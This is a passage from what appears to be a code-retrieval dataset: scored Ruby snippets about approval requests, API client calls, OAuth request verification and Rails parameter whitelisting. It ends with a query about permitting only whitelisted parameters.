@api_client.config.logger.debug 'Calling API: RequestApi.list_requests ...'\n end\n if @api_client.config.client_side_validation && opts[:'x_rh_persona'] && !['approval/admin', 'approval/approver', 'approval/requester'].include?(opts[:'x_rh_persona'])\n fail ArgumentError, 'invalid value for \"x_rh_persona\", must be one of approval/admin, approval/approver, approval/requester'\n end\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling RequestApi.list_requests, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling RequestApi.list_requests, must be greater than or equal to 1.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'offset'].nil? && opts[:'offset'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"offset\"]\" when calling RequestApi.list_requests, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/requests'\n\n # query parameters\n query_params = {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n header_params[:'x-rh-persona'] = opts[:'x_rh_persona'] if !opts[:'x_rh_persona'].nil?\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Basic_auth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'RequestCollection')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RequestApi#list_requests\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "a9124437cb9d3e651bbb171088799bcd", "score": "0.56253576", "text": "def get_preapproval_payment(id)\n url = \"/preapproval/#{id}\"\n Rest::exec(:get, url)\n end", "title": "" }, { "docid": "c17eeb6875ca86d89028c9ae19d3ff04", "score": "0.5615107", "text": "def merge_request_approvals(project, merge_request)\n get(\"/projects/#{url_encode project}/merge_requests/#{merge_request}/approvals\")\n end", "title": "" }, { "docid": "7ea1b54c3ce2947885e97a0862df8313", "score": "0.5606154", "text": "def approval_user\n target_user = User.find(params[:user_id])\n approval_status = params[:approved].blank? ? User::ApprovalStatusReject : User::ApprovalStatusApproved\n comment = params[:comment]\n # unless target_user.approval_status == User::ApprovalStatusApproved\n target_user.update(approval_status: approval_status, comment: comment, approval_date_time: DateTime.current)\n # end\n\n # if target_user.approval_status == User::ApprovalStatusApproved\n # if target_user.company_buyer_entities.any?{ |x| x.approval_status == CompanyBuyerEntity::ApprovalStatusPending}\n # target_user.update(comment: comment, approval_date_time: DateTime.current)\n # else\n # target_user.update(approval_status: approval_status, comment: comment, approval_date_time: DateTime.current)\n # end\n # end\n\n if approval_status == User::ApprovalStatusApproved\n UserMailer.approval_email(target_user).deliver_later\n elsif approval_status == User::ApprovalStatusReject\n UserMailer.reject_email(target_user).deliver_later\n end\n result_json = {user_base_info: target_user}\n result_json\n end", "title": "" }, { "docid": "210c287eb9769ca662ab57ef773c9ad7", "score": "0.55949205", "text": "def check_if_approval_is_required\n !offer_request.blank?\n end", "title": "" }, { "docid": "2f917103332e7a88846b074ef769a6d6", "score": "0.55835176", "text": "def approve_request\n puts \"............. AccountmanagerController::approve_request \"+params[:user_id].to_s\n # Change the user type to be a member of SRDR\n user_id = params[:user_id].to_i\n @user = User.find(:first, :conditions=>[\"id = ?\",user_id])\n @user.user_type = \"member\"\n @user.save\n\n # Move the registration status to APPROVED\n @registration = Registar.find(:first, :conditions=>[\"login = ?\",@user.login])\n @registration.status = \"APPROVED\"\n @registration.save\n\n # Add Organization if it does not already exist\n @organization = Organizations.find(:first, :conditions=>[\"name = ?\",@user.organization])\n if @organization.nil? &&\n !@user.organization.nil? &&\n (@user.organization.length > 0)\n @organization = Organizations.new\n @organization.name = params[\"organization\"]\n @organization.contact_name = \"No Contact\"\n @organization.save\n else\n # Set default organization for this user\n @organization = Organizations.new\n @organization.name = \"TMC EPC\"\n @organization.contact_name = \"No Contact\"\n @organization.save\n end\n\n # Now setup the user's organization role\n @userorgroles = UserOrganizationRole.new\n @userorgroles.user_id = @user.id\n @userorgroles.role = \"contributor\"\n @userorgroles.status = \"VALID\"\n @userorgroles.organization_id = @organization.id\n @userorgroles.save\n\n # Send E-mail notification of approval to the user\n #ConfirmationMailer.notifyApproval(@registration).deliver\n\n # Go back to user list - added to SRDR-Dev only\n redirect_to \"/home/user_list\"\n end", "title": "" }, { "docid": "d8dc0fc78cbb6add3e382f8e0a07cdfe", "score": "0.5582514", "text": "def pending_requests; end", "title": "" }, { "docid": "d8dc0fc78cbb6add3e382f8e0a07cdfe", "score": "0.5582514", "text": "def pending_requests; end", "title": "" }, { "docid": "d8dc0fc78cbb6add3e382f8e0a07cdfe", "score": "0.5582514", "text": "def pending_requests; end", "title": "" }, { "docid": "3affda9a8c36ffdce8b87973e80b17e5", "score": "0.55530703", "text": "def get_redemption_request_actions\r\n\r\n # prepare query url\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/utilities/redemption-request-actions'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # prepare headers\r\n _headers = {\r\n 'accept' => 'application/json',\r\n 'Content-Type' => Configuration.content_type\r\n }\r\n\r\n # prepare and execute HttpRequest\r\n _request = @http_client.get _query_url, headers: _headers\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n\r\n # return appropriate response type\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body) if not (_context.response.raw_body.nil? or _context.response.raw_body.to_s.strip.empty?)\r\n return decoded\r\n end", "title": "" }, { "docid": "95a2c007362242bacfc301953fb27258", "score": "0.55519545", "text": "def draft_agreement_with_http_info(agreement_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AgreementControllerApi.draft_agreement ...'\n end\n # verify the required parameter 'agreement_request' is set\n if @api_client.config.client_side_validation && agreement_request.nil?\n fail ArgumentError, \"Missing the required parameter 'agreement_request' when calling AgreementControllerApi.draft_agreement\"\n end\n if @api_client.config.client_side_validation && !opts[:'idempotency_key'].nil? && opts[:'idempotency_key'].to_s.length > 40\n fail ArgumentError, 'invalid value for \"opts[:\"idempotency_key\"]\" when calling AgreementControllerApi.draft_agreement, the character length must be smaller than or equal to 40.'\n end\n\n pattern = Regexp.new(/^[a-zA-Z0-9]*$/)\n if @api_client.config.client_side_validation && !opts[:'idempotency_key'].nil? && opts[:'idempotency_key'] !~ pattern\n fail ArgumentError, \"invalid value for 'opts[:\\\"idempotency_key\\\"]' when calling AgreementControllerApi.draft_agreement, must conform to the pattern #{pattern}.\"\n end\n\n # resource path\n local_var_path = '/v2/agreements'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json;charset=UTF-8'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n header_params[:'Idempotency-Key'] = opts[:'idempotency_key'] if !opts[:'idempotency_key'].nil?\n header_params[:'Vipps-System-Name'] = opts[:'vipps_system_name'] if !opts[:'vipps_system_name'].nil?\n header_params[:'Vipps-System-Version'] = opts[:'vipps_system_version'] if !opts[:'vipps_system_version'].nil?\n header_params[:'Vipps-System-Plugin-Name'] = opts[:'vipps_system_plugin_name'] if !opts[:'vipps_system_plugin_name'].nil?\n header_params[:'Vipps-System-Plugin-Version'] = opts[:'vipps_system_plugin_version'] if !opts[:'vipps_system_plugin_version'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(agreement_request)\n\n # return_type\n return_type = opts[:debug_return_type] || 'AgreementReference'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['bearerAuth', 'ocpSubscriptionKey']\n\n new_options = opts.merge(\n :operation => :\"AgreementControllerApi.draft_agreement\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AgreementControllerApi#draft_agreement\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "19866dcfe5c1ed41c4d5f353d068346b", "score": "0.5551516", "text": "def approvals_count\n return 0 if self.id.nil?\n return RequestSearch.approvals_for(self, show: 'pending', per_page: 1000).count\n end", "title": "" }, { "docid": "dec8f192db1ee5cc1cca00f2e843df81", "score": "0.55416936", "text": "def make_preapproved_payments(preapproval_key)\n api.execute :Pay, payment_options(preapproval_key)\nend", "title": "" }, { "docid": "603fd95a7d54f3aa243610d1827cd707", "score": "0.55402064", "text": "def set_approval\r\n @approval = Approval.find(params[:id])\r\n end", "title": "" }, { "docid": "48b4c6ec6462aeeabc461dd2d136ed40", "score": "0.5539788", "text": "def approval\n @appointments = Appointment.in_clinic(@admin).requests.\n order_by_time.includes(:doctor, :patient).not_past\n end", "title": "" }, { "docid": "7e9f6c2efed3be9318cebe35d1fa114a", "score": "0.5516566", "text": "def verified_request?; end", "title": "" }, { "docid": "f8f1741ebae78f6c95110c15a66be1fd", "score": "0.55025655", "text": "def set_approval\n @approval = Approval.find(params[:id])\n end", "title": "" }, { "docid": "f8f1741ebae78f6c95110c15a66be1fd", "score": "0.55025655", "text": "def set_approval\n @approval = Approval.find(params[:id])\n end", "title": "" }, { "docid": "5fcb9049497cb7e7cca864941cd46e4e", "score": "0.5499418", "text": "def approval_id=(value)\n @approval_id = value\n end", "title": "" }, { "docid": "9106cd3f8d4162e0692ede0179780d7c", "score": "0.54532987", "text": "def approval_params\n params.require(:approval).permit(:approval_status_name, :description)\n end", "title": "" }, { "docid": "d6a0e4c88974efc2cb36359d4d7f507b", "score": "0.54278326", "text": "def gricer_request\n @gricer_request\n end", "title": "" }, { "docid": "5019fa3e99cfc79fc04c15d029966947", "score": "0.5425279", "text": "def get_request( id )\n url = \"#{self.url}/#{id}?auth=#{self.authtoken}\"\n status, response = rest_get( url )\n return status, response['details'] if ok?( status ) && response['details']\n return status, ''\n end", "title": "" }, { "docid": "3410c46159be5d25bb172017f40bcd89", "score": "0.54225117", "text": "def fetch_access_token(request_token, verification_code)\n access_token_req = PaypalService::DataTypes::Permissions.create_get_access_token(\n {\n request_token: params[:request_token],\n verification_code: params[:verification_code]\n }\n )\n access_token_res = paypal_permissions.do_request(access_token_req)\n end", "title": "" }, { "docid": "3985982260476d3aea274cc0dada9657", "score": "0.54135424", "text": "def custom_request()\n\t\treturn CustomRequest.new(@credentials.client_key, @credentials.get_access_token)\n\tend", "title": "" }, { "docid": "dd5a4f1b76afdc720ad01a7a606518af", "score": "0.5410185", "text": "def request_access(_team)\n # stub\n end", "title": "" }, { "docid": "e2c666ccd353112743459e4ae0502470", "score": "0.54097885", "text": "def perform_get_request(build_type_id, check_for_changes_only, branch: nil)\n if check_for_changes_only\n http_get \"httpAuth/action.html\", :checkForChangesBuildType => build_type_id\n else\n http_get \"httpAuth/action.html\", :add2Queue => build_type_id, :branchName => branch\n end\n end", "title": "" }, { "docid": "c4b665678100e0e339c1f52c6cd7432a", "score": "0.5405383", "text": "def get_require_administrator_approval_applications\n respond_to do |format|\n param = params[:payload]\n format.json {\n @project_applications = ProjectApplication.where(:student_approved => true, :professor_approved => true, :administrator_approved => nil)\n if @project_applications\n render :json => @project_applications\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end", "title": "" }, { "docid": "ddcf24245cc5f54a51edb32d51b9936a", "score": "0.5401773", "text": "def approval_status\n if object.approval\n \"Zaakceptowane\"\n elsif object.approval == nil\n \"Oczekujące\"\n else\n \"Odrzucone\"\n end\n end", "title": "" }, { "docid": "3ecfaea402cac896b6814ecdfd5d8f08", "score": "0.53973633", "text": "def list_requests\n # stub\n end", "title": "" }, { "docid": "9c17e11e73009fe1a590e0a005bebd61", "score": "0.53968084", "text": "def authenticate_resource_request options = {}\n verifications = {\n client_credential: lambda do |_x|\n ::Signet::OAuth1::Credential.new(\"Client credential key\",\n \"Client credential secret\")\n end\n }\n\n unless options[:two_legged] == true\n verifications.update(\n token_credential: lambda do |_x|\n ::Signet::OAuth1::Credential.new(\"Token credential key\",\n \"Token credential secret\")\n end\n )\n end\n # Make sure all required state is set\n verifications.each do |(key, _value)|\n raise ArgumentError, \"#{key} was not set.\" unless send key\n end\n\n request_components = if options[:request]\n verify_request_components(\n request: options[:request],\n adapter: options[:adapter]\n )\n else\n verify_request_components(\n method: options[:method],\n uri: options[:uri],\n headers: options[:headers],\n body: options[:body]\n )\n end\n method = request_components[:method]\n uri = request_components[:uri]\n headers = request_components[:headers]\n body = request_components[:body]\n\n\n if !body.is_a?(String) && body.respond_to?(:each)\n # Just in case we get a chunked body\n merged_body = StringIO.new\n body.each do |chunk|\n merged_body.write chunk\n end\n body = merged_body.string\n end\n raise TypeError, \"Expected String, got #{body.class}.\" unless body.is_a? String\n\n media_type = nil\n headers.each do |(header, value)|\n media_type = value.gsub(/^([^;]+)(;.*?)?$/, '\\1') if header.casecmp(\"Content-Type\").zero?\n end\n\n auth_hash = verify_auth_header_components headers\n\n auth_token = auth_hash[\"oauth_token\"]\n\n\n unless options[:two_legged]\n return nil if auth_token.nil?\n return nil unless (token_credential = find_token_credential auth_token)\n token_credential_secret = token_credential.secret if token_credential\n end\n\n return nil unless (client_credential =\n find_client_credential auth_hash[\"oauth_consumer_key\"])\n\n return nil unless validate_nonce_timestamp(auth_hash[\"oauth_nonce\"],\n auth_hash[\"oauth_timestamp\"])\n\n if method == (\"POST\" || \"PUT\") &&\n media_type == \"application/x-www-form-urlencoded\"\n request_components[:body] = body\n post_parameters = Addressable::URI.form_unencode body\n post_parameters.each { |param| param[1] = \"\" if param[1].nil? }\n # If the auth header doesn't have the same params as the body, it\n # can't have been signed correctly(5849#3.4.1.3)\n unless post_parameters.sort == auth_hash.reject { |k, _v| k.index \"oauth_\" }.to_a.sort\n raise MalformedAuthorizationError, \"Request is of type application/x-www-form-urlencoded \" \\\n \"but Authentication header did not include form values\"\n end\n end\n\n client_credential_secret = client_credential.secret if client_credential\n\n computed_signature = ::Signet::OAuth1.sign_parameters(\n method,\n uri,\n # Realm isn't used, and will throw the signature off.\n auth_hash.reject { |k, _v| k == \"realm\" }.to_a,\n client_credential_secret,\n token_credential_secret\n )\n\n return nil unless safe_equals? computed_signature, auth_hash[\"oauth_signature\"]\n { client_credential: client_credential,\n token_credential: token_credential,\n realm: auth_hash[\"realm\"] }\n end", "title": "" }, { "docid": "46712e9f9f8e917e457fab7f0c21c527", "score": "0.53952485", "text": "def request_fulfilled( work )\n # send an id even if identifier service failed\n deposit_id = work.identifier || \"libra-etd:#{work.id}\"\n url = \"#{self.url}/#{work.sis_authorization_id}?auth=#{self.authtoken}&deposit=#{deposit_id}\"\n status, _ = rest_put( url, nil )\n return status\n end", "title": "" }, { "docid": "2306f12fffe5e41cdf3e8b6c71167cc3", "score": "0.5387568", "text": "def approved\n @req = Request.last\n RequestMailer.approved(@req)\n end", "title": "" }, { "docid": "d8a5c635a9307f62b30aae41ebad98f8", "score": "0.5385875", "text": "def check_if_approval_is_required\n check_by_families || check_by_supplier || check_by_project ||\n check_by_office || check_by_company || check_by_zone\n end", "title": "" }, { "docid": "4ff3560881b516a53d77fba6517e5198", "score": "0.5377146", "text": "def merge_request_level_rule(project, merge_request)\n get(\"/projects/#{url_encode project}/merge_requests/#{merge_request}/approval_rules\")\n end", "title": "" }, { "docid": "bd50f898675e9d771861b78215257abb", "score": "0.5334294", "text": "def update\n redirect_to root_path, alert: \"You are not authorised to view that page.\" unless current_member.is_admin?\n unless request.get?\n if params[:commit] == \"Reject Request\"\n @order.update(approver: current_member, deadline: Time.now, returned: true)\n redirect_to club_path(current_member.club), notice: \"The Order Request was rejected successfully.\"\n else\n @order.update(approver: current_member, deadline: params[:order][:deadline], returned: false, approved_at: Time.current)\n redirect_to club_path(current_member.club), notice: \"The Order Request was accepted successfully.\"\n end\n end\n end", "title": "" }, { "docid": "e9ac12488e33ada391a896c670179162", "score": "0.5326829", "text": "def build_request\n client.request request_name\n end", "title": "" }, { "docid": "2eaafa95b7ba6e9abd675021cd10904c", "score": "0.53212947", "text": "def budget_approver_params\n params.fetch(:budget_approver, {})\n end", "title": "" }, { "docid": "eae6fbaf102d8552a07528fd5287cca6", "score": "0.53148264", "text": "def request\n @req\n end", "title": "" }, { "docid": "7e1c4d303f40f7131118b67c09216e4f", "score": "0.5314681", "text": "def get(request_configuration=nil)\n request_info = self.to_get_request_information(\n request_configuration\n )\n error_mapping = Hash.new\n error_mapping[\"4XX\"] = lambda {|pn| MicrosoftGraph::Models::ODataErrorsODataError.create_from_discriminator_value(pn) }\n error_mapping[\"5XX\"] = lambda {|pn| MicrosoftGraph::Models::ODataErrorsODataError.create_from_discriminator_value(pn) }\n return @request_adapter.send_async(request_info, lambda {|pn| MicrosoftGraph::Models::AccessReviewInstance.create_from_discriminator_value(pn) }, error_mapping)\n end", "title": "" }, { "docid": "5f59068ddb10ce18a260c56d37822b80", "score": "0.5294862", "text": "def pending_response_requests; end", "title": "" }, { "docid": "6c5f6cc8276fa6390efecd9d5e75f752", "score": "0.5283496", "text": "def get_auto_approve_setting\n service_response = ClientManagement::GetAutoApproveSetting.new(params).perform\n render_api_response(service_response)\n end", "title": "" }, { "docid": "6ddc291ad6b0c3724391eb8c9a715c2a", "score": "0.5280885", "text": "def get_request(request_data = {}, errback = DEFAULT_ERROR, &blk)\n req = create_test_request(request_data).get(request_data)\n hookup_request_callbacks(req, errback, &blk)\n end", "title": "" }, { "docid": "e5e0f14a754e9da04ffb599624722096", "score": "0.5268977", "text": "def initialize(approval_box)\n @approval_box = approval_box\n end", "title": "" }, { "docid": "fd4601f1f02a75c91daff44e160f8bee", "score": "0.52685535", "text": "def approver_request_ids\n Request.where(:workflow_id => workflow_ids).pluck(:id).sort\n end", "title": "" }, { "docid": "fd4601f1f02a75c91daff44e160f8bee", "score": "0.52685535", "text": "def approver_request_ids\n Request.where(:workflow_id => workflow_ids).pluck(:id).sort\n end", "title": "" }, { "docid": "11aab8e9695616c3412a5a75cdcaf0f8", "score": "0.52673244", "text": "def request_params; end", "title": "" }, { "docid": "e47b56eec1e45116a17e1ed99318332c", "score": "0.52533937", "text": "def request_token\n authconfig=Configuration.new\n authconfig.base_path=\"\"\n authClient=ApiClient.new(authconfig)\n authApi=AsposeDiagramCloud::OAuthApi.new(authClient)\n config=@api_client.config\n data, _status_code, _headers=authApi.o_auth_post(config.api_key['grant_type'],config.api_key['app_sid'],config.api_key['api_key'])\n #print(data.access_token)\n @api_client.default_headers[\"Authorization\"] =\"Bearer \" + data.access_token\n end", "title": "" }, { "docid": "e47b56eec1e45116a17e1ed99318332c", "score": "0.52533937", "text": "def request_token\n authconfig=Configuration.new\n authconfig.base_path=\"\"\n authClient=ApiClient.new(authconfig)\n authApi=AsposeDiagramCloud::OAuthApi.new(authClient)\n config=@api_client.config\n data, _status_code, _headers=authApi.o_auth_post(config.api_key['grant_type'],config.api_key['app_sid'],config.api_key['api_key'])\n #print(data.access_token)\n @api_client.default_headers[\"Authorization\"] =\"Bearer \" + data.access_token\n end", "title": "" }, { "docid": "7d085773e87bdbee977e8ff0d490abfa", "score": "0.5250088", "text": "def get_request_payload(req_params=nil)\n payload = \"apikey=\"+configatron.apiKey+\"&nonce=\"+Time.now.to_i.to_s\n if(req_params)\n payload += req_params; \n end\n final_payload = payload + calculate_api_seal(payload)\n end", "title": "" }, { "docid": "f942487c344ce754eede7443a40727ad", "score": "0.5249922", "text": "def get_entitlement request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_get_entitlement_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Channel::V1::Entitlement.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "title": "" }, { "docid": "3d4ad8c20333f6712fc3355a8a7351dd", "score": "0.5247468", "text": "def get_cac_approval_by_system_id_with_http_info(system_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ApprovalChainApi.get_cac_approval_by_system_id ...'\n end\n # verify the required parameter 'system_id' is set\n if @api_client.config.client_side_validation && system_id.nil?\n fail ArgumentError, \"Missing the required parameter 'system_id' when calling ApprovalChainApi.get_cac_approval_by_system_id\"\n end\n # resource path\n local_var_path = '/api/systems/{systemId}/approval/cac'.sub('{' + 'systemId' + '}', system_id.to_s)\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'controlAcronyms'] = opts[:'control_acronyms'] if !opts[:'control_acronyms'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/plain'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n return_type = opts[:return_type] || 'ApprovalCacResponse' \n\n auth_names = opts[:auth_names] || ['apikey', 'userid']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type)\n\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ApprovalChainApi#get_cac_approval_by_system_id\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "19c192a0897f97890bffbadfc729cfff", "score": "0.5242102", "text": "def add_approver\n\n # get the client\n @client = Client.find(params[:client_id])\n\n # get the contract\n @contract = Contract.find(params[:id])\n\n # get approvers not already assigned to the contract\n @approvers = @client.unassigned_approvers_for_contract(@contract)\n\n end", "title": "" }, { "docid": "4042a231c67d0d53bfbfba4d01b5a207", "score": "0.5232292", "text": "def get(request_configuration=nil)\n request_info = self.to_get_request_information(\n request_configuration\n )\n error_mapping = Hash.new\n error_mapping[\"4XX\"] = lambda {|pn| MicrosoftGraph::Models::ODataErrorsODataError.create_from_discriminator_value(pn) }\n error_mapping[\"5XX\"] = lambda {|pn| MicrosoftGraph::Models::ODataErrorsODataError.create_from_discriminator_value(pn) }\n return @request_adapter.send_async(request_info, lambda {|pn| MicrosoftGraph::Models::IdentityGovernanceWorkflow.create_from_discriminator_value(pn) }, error_mapping)\n end", "title": "" }, { "docid": "00ff5b453f42023ae0ea2284b69abef8", "score": "0.52290535", "text": "def is_approval_required_for_update\n return @is_approval_required_for_update\n end", "title": "" }, { "docid": "3e1d28fa7f280b8f02cbdd027e9d4098", "score": "0.52208376", "text": "def _appointment_request_id\n appointment_request_id\n end", "title": "" }, { "docid": "c7daff8a0cb98c521c08d1b7e3b185c6", "score": "0.5219613", "text": "def show\n @req = @company.implementer_requests\n end", "title": "" }, { "docid": "13375ecab781ad3c87e987814c5311ad", "score": "0.521035", "text": "def request_parameters; end", "title": "" }, { "docid": "8f11e83c5728f34028bcbedb93b4abf0", "score": "0.52036", "text": "def get_request(path, params)\n params = params.merge(:publickey => @user.public_key, :userid => @user.user_id)\n response = self.class.get(path, :query => params)\n self.class.verify_response!(response, path, params)\n end", "title": "" }, { "docid": "66dd7afe761d662200bc4e33222f5eed", "score": "0.520224", "text": "def gov_proposals_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: GovernanceApi.gov_proposals_get ...'\n end\n # resource path\n local_var_path = '/gov/proposals'\n\n # query parameters\n query_params = {}\n query_params[:'voter'] = opts[:'voter'] if !opts[:'voter'].nil?\n query_params[:'depositor'] = opts[:'depositor'] if !opts[:'depositor'].nil?\n query_params[:'status'] = opts[:'status'] if !opts[:'status'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<TextProposal>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: GovernanceApi#gov_proposals_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "a1da13a12661e001a0c02cfa56312e7f", "score": "0.51993394", "text": "def approval_owner\n if self.approval_kind_id == 16\n e = OwnedShipCrewRequest.find_by approval_id: self.id\n \"#{e.character.full_name} requesting to join #{e.crew.owned_ship.title} (Crew Request)\"\n end\n end", "title": "" }, { "docid": "dbefb5bd98f2e596a787df46db669c4f", "score": "0.5198464", "text": "def\n\n# *********VENUE GET METHODS*********\n def get_till_receipts\n\n end", "title": "" }, { "docid": "2c08f13ac2ece47c38e23ff849abd5ec", "score": "0.5195553", "text": "def evaluate_request\n\t\tprincipal_amt = principal_amount\n\t minimum = loan_type.minimum\n\t maximum = loan_type.maximum\n\n\t required_documents = loan_type.loan_docs.sort\n\t submitted_documents = loan_docs.sort unless loan_docs.nil?\n\n\t errors = []\n\n\t if principal_amt < minimum\n\t \terrors << \"Principal is below minimum\"\n\t end\n\n\t if principal_amt > maximum\n\t \terrors << \"Principal is greater than maximum\"\n\t end\n\n\t if required_documents != submitted_documents\n\t \terrors << \"Incomplete submitted documents\"\n\t end\n\n\t errors\n\t \n\t #(principal_amt >= minimum && principal_amt <= maximum) && required_documents == submitted_documents\n\tend", "title": "" }, { "docid": "66c3d898366630f4b60d8b5b878b2bd3", "score": "0.5195247", "text": "def get_redemption_request(account_slug, \r\n redemption_request_id)\r\n\r\n # prepare query url\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/accounts/{account_slug}/redemption-requests/{redemption_request_id}'\r\n _query_builder = APIHelper.append_url_with_template_parameters _query_builder, {\r\n 'account_slug' => account_slug,\r\n 'redemption_request_id' => redemption_request_id\r\n }\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # prepare headers\r\n _headers = {\r\n 'accept' => 'application/json',\r\n 'Content-Type' => Configuration.content_type\r\n }\r\n\r\n # prepare and execute HttpRequest\r\n _request = @http_client.get _query_url, headers: _headers\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n\r\n # return appropriate response type\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body) if not (_context.response.raw_body.nil? or _context.response.raw_body.to_s.strip.empty?)\r\n return decoded\r\n end", "title": "" }, { "docid": "5699c57862ed344437084e016c6a6337", "score": "0.5192992", "text": "def approval_json(in_qa)\n json = {\n :group_id => group_id,\n :approved_count => !in_qa ? approved_count : (qa_approved_by ? 1 : 0)\n }\n end", "title": "" }, { "docid": "9b7f9a81c8d88863f33e2d14f08a986a", "score": "0.51902354", "text": "def overlapping_approved_requests\n overlapping_requests.where(status: \"APPROVED\")\n end", "title": "" }, { "docid": "d03112d94d62b8b020ca20bec1b4afb4", "score": "0.5189426", "text": "def authorize_endpoint(allow_approval = false)\n \n Rack::OAuth2::Server::Authorize.new do |req, res|\n @client = Oauth2Providable::Client.find_by_identifier(req.client_id) || req.bad_request!\n res.redirect_uri = @redirect_uri = req.verify_redirect_uri!(@client.redirect_uri)\n \n if allow_approval\n if params[:approve].present? && req.response_type == :code\n authorization_code = current_user.authorization_codes.create!(\n :client => @client,\n :account_sid => request.env['rack.session']['session_id'])\n res.code = authorization_code.token\n res.approve!\n else\n req.access_denied!\n end\n else\n @response_type = req.response_type\n end\n \n end\n \n end", "title": "" }, { "docid": "0849fe245fc430ec0e2945112eb53ac6", "score": "0.51889426", "text": "def request_token\n @request_token ||= client.oauth_consumer.get_request_token\n end", "title": "" }, { "docid": "aade76007d8a5f7e96726c54b33820ea", "score": "0.51791096", "text": "def get_request_token( oauth_callback = TWOAUTH_CALLBACK )\n\t\tself.consumer.get_request_token( :oauth_callback => oauth_callback )\n\tend", "title": "" }, { "docid": "1ef0fe62f4ad4f657b2c5f5eab95e12a", "score": "0.51697177", "text": "def request_token\n consumer.get_request_token(:oauth_callback => Koprol.callback_url)\n end", "title": "" }, { "docid": "a48b3291190ed6a0f68c8cda423a68e3", "score": "0.51661515", "text": "def approved_purchase_requests\n PurchaseRequest.find(:all,:conditions => {\n :purchase_requester_id => self.id ,\n :is_purchase_order_created => true \n })\n end", "title": "" } ]
c657de4b70d266e9a3a784b999ea9e60
Never trust parameters from the scary internet, only allow the white list through.
[ { "docid": "ae5f4bcde879cfd752d938a1cbf7f4f8", "score": "0.0", "text": "def manufacturer_params\n params.require(:manufacturer).permit(:name, :address1, :address2, :city, :state_id, :pin, :phone, :fax, :email, :website, :mobilephoe, :abbrev, :phone2, :release_status_id, :status_id)\n end", "title": "" } ]
